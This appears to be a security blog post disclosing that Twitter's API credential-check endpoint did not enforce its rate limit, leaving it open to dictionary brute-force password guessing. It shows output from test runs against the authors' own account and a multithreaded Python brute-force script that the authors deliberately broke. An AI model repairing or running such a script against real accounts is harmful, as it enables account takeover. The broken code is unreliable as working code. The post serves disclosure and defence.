Breaking Twitter (Authenication)

Yesterday we spent some time speculating on how phishing attacks like the one afflicting Twitter on Wednesday of this week are seeded. How are the original direct messages sent out that kick off the first stolen credentials, the next set of direct messages, and so on in the loop? We were hoping, but not counting on, the fact that Twitter might address this in their blog. Taking a page from Google or Microsoft, an up front and transparent approach to security seems to be the direction of major players in the online space. Twitter may consider embracing this approach, given its rampant rise in popularity and thus existence at the edge of malicious customized attacks from bad actors, as it likely has a lot of data that would benefit the information assurance community.

In our rampant speculating (guessing), we noted that we thought brute force password attacks would move away from the main Twitter login page because of their implementation of CAPTCHA (showing an image that is easy for a human to translate and type in but difficult for a computer to identify), which occurs after several failed login attempts. While some success has been reported by both researchers attempting to break CAPTCHA, as well as researchers watching others break it, the processing time of dealing with translating thousands of CAPTCHA messages becomes problematic from a password cracking standpoint (as far as we know, if you have a counter example please show us). So where does one go to perform the type of brute force password attack that a teenage hacker used in January to gain access to Crystal the Twitter admin’s account, achieve ‘Happiness’ and allow others to tweet on behalf of Barack Obama and Britney Spears?

Back in January the @BarackObama account was broken into.
Back in January the @BarackObama account was broken into.

We thought that the Twitter API (application program interface) is the next place to go. While moving towards OAuth authentication (a mechanism by which users can provide others access to their data without providing their authentication credentials) the old style API calls with user name and password are still available. Providing an API is one of the primary reasons for Twitter’s popularity, as many tools can provide both interfaces into the online services of Twitter, as well as act as aggregators for the data within Twitter’s data stores. In fact, for most tweeple, the actual system confines of Twitter might as well be a big database, as they are doing their tweeting through TweetDeck or Tweetie, monitoring topics at TwitterFall, looking at their favorite famous twits at Congressional140 or CelebrityTweet, mapping the world’s tweets with TwitterVision, or evaluating themselves with CurseBird.

That same API provides an alternate path for logging into Twitter, and provides all the functionality available through the web application (authentication, reading tweets, tweeting). You can read more about the overall Twitter API here:

But wait you say, are you trying to tell us that brute force password attacks will move to the API when I just read on the Twitter API wiki that the API severely limits the rate of calls you are allowed to make to it (200/hour/IP for authenticated requests without whitelisting)? That should be a mitigating control. Should be, but isn’t, because it is not enforced on all of the API calls.

Rate Limit? We don’t need no stinking rate limit.

From the twitter API documenation on account/verify_credentials Twitter states:

Returns an HTTP 200 OK response code and a representation of the requesting user if authentication was successful; returns a 401 status code and an error message if not. Use this method to test if supplied user credentials are valid. Because this method can be a vector for a brute force dictionary attack to determine a user’s password, it is limited to 15 requests per 60 minute period (starting from your first request).

Well, let’s see. Using a simple python program that tried known incorrect passwords as fast as the the API would respond (but well below DOS thresholds), we have this:

[~]% time python
Login: _eeeeeeeek Password: 0 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 1 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 2 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 3 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 4 failed: HTTP Error 401: Unauthorized


Login: _eeeeeeeek Password: 295 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 296 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 297 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 298 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 299 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: <redacted> accepted
/opt/local/bin/python2.6  2.03s user 1.47s system 1% cpu 4:25.05 total

So looking at the details we have 300 passwords attempted in 2 minutes and 3 seconds. We can also see on the 300th attempt the password was accepted (we put the correct password in at number 300) so we can conclude that the account is not getting locked out due to enforcement of rate limits. So next we ran the script six times concurrently (3,600 attempts). Still not locked out.

We are also showing that we are able to blow through the overall 150 request limit per IP per hour that Twitter reports is the rate limit. Running multiple attempts did start to hit some 503 Bad Gateway errors which we thought might be the end of the road, but no, it started responding again a second later.

Running the script is slow. Twitter’s greatest defense here against a true brute force attack using a single thread is that it takes a while for their infrastructure to respond. We can call that security through lack of capacity. Since a good password cracker takes more then a few hundred entries to work (this LOphtCrack dictionary has 235,007 entries.), we’ll go multi-threaded.

In a final controlled example, we use a known account where one person sets a dictionary word simple password and the other person runs the script without specifically knowing the password (just in case someone wants to write a Computer Fraud and Abuse Act essay in the comments, when someone logs into their own account its called authentication). Again, low request threshold, and only accessing our own account.

25,086 attempts thus far before we got bored watching it, so a little over 7 hours and the whole 200,000+ dictionary word list would be done, and likely any account using a common dictionary based password would be accessed. We tried a few subsequent runs that mixed in a correct password just to ensure everything was working, and the program notified us of the successful login.

If Twitter wants to minimize the probability of success for this vulnerability it could:

As we like Twitter as much as the next, and because we are in favor of good faith disclosure, we have notified them of our concerns. Update: A Twitter representative has responded that the information provided has been sent on to the right internal team at Twitter.

Here’s the Code:
Dictionary: dic.txt

Please note, the code is provided for demonstration purposes only, should not be run ever, and contains intentional errors so that attempts to run it will not work.

The command is as follows: username passwordlist.txt

import threading,Queue
import socket
import tweethon
import urllib2
import socket
import sys

class Threader:
    # Class taken from: Sept 3 2004, Justin A:
    def __init__(self, numthreads):

    def get_data(self,):
        raise NotImplementedError, "You must implement get_data as a function that returns an iterable"
        return range(10000)
    def handle_data(self,data):
        raise NotImplementedError, "You must implement handle_data as a function that returns anything"
        return data*data
    def handle_result(self, data, result):
        raise NotImplementedError, "You must implement handle_result as a function that does anything"
        print data, result

    def _handle_data(self):
        while 1:
            if x is None:

    def _handle_result(self):
        while 1:
            if x is None:
            self.handle_result(x, xa)

    def run(self):
        if hasattr(self, "prerun"):
        for x in range(self._numthreads):


        try :
            for x in self.get_data():
        except NotImplementedError, e:
            print e
        for x in range(self._numthreads):
        for t in ts:
        if hasattr(self, "postrun"):
            return self.postrun()
        return None

class twitterpasswordtester(Threader):

    def get_data(self):
        data = open(sys.argv[2]).read()
        data = data.split('\n')
        self._usename = sys.argv[1]
        self.counter = 0
        return data

    def handle_data(self,p):
        print "in testAuth"
        u = self._usename
        x = tweethon.Api(username=u, password=p)
            results = "login: {0} Password: {1} accepted\n".format(u, p)
        except urllib2.HTTPError, e:
            results = "login: {0} Password: {1} failed: {2}\n".format(u, p, e)
            del x
            return results

    def handle_result(self, data, result):
        print result
        print self.counter 
        self.counter += 1
    def prerun(self):
    def postrun(self):
        return self.res

z = twitterpasswordtester(10)
for n,ns in
    print n,ns

Tweethon Source:

The Tweethon library, the only custom or uncommon library above, is intended to make the Twitter web services API easier for python programmers to use.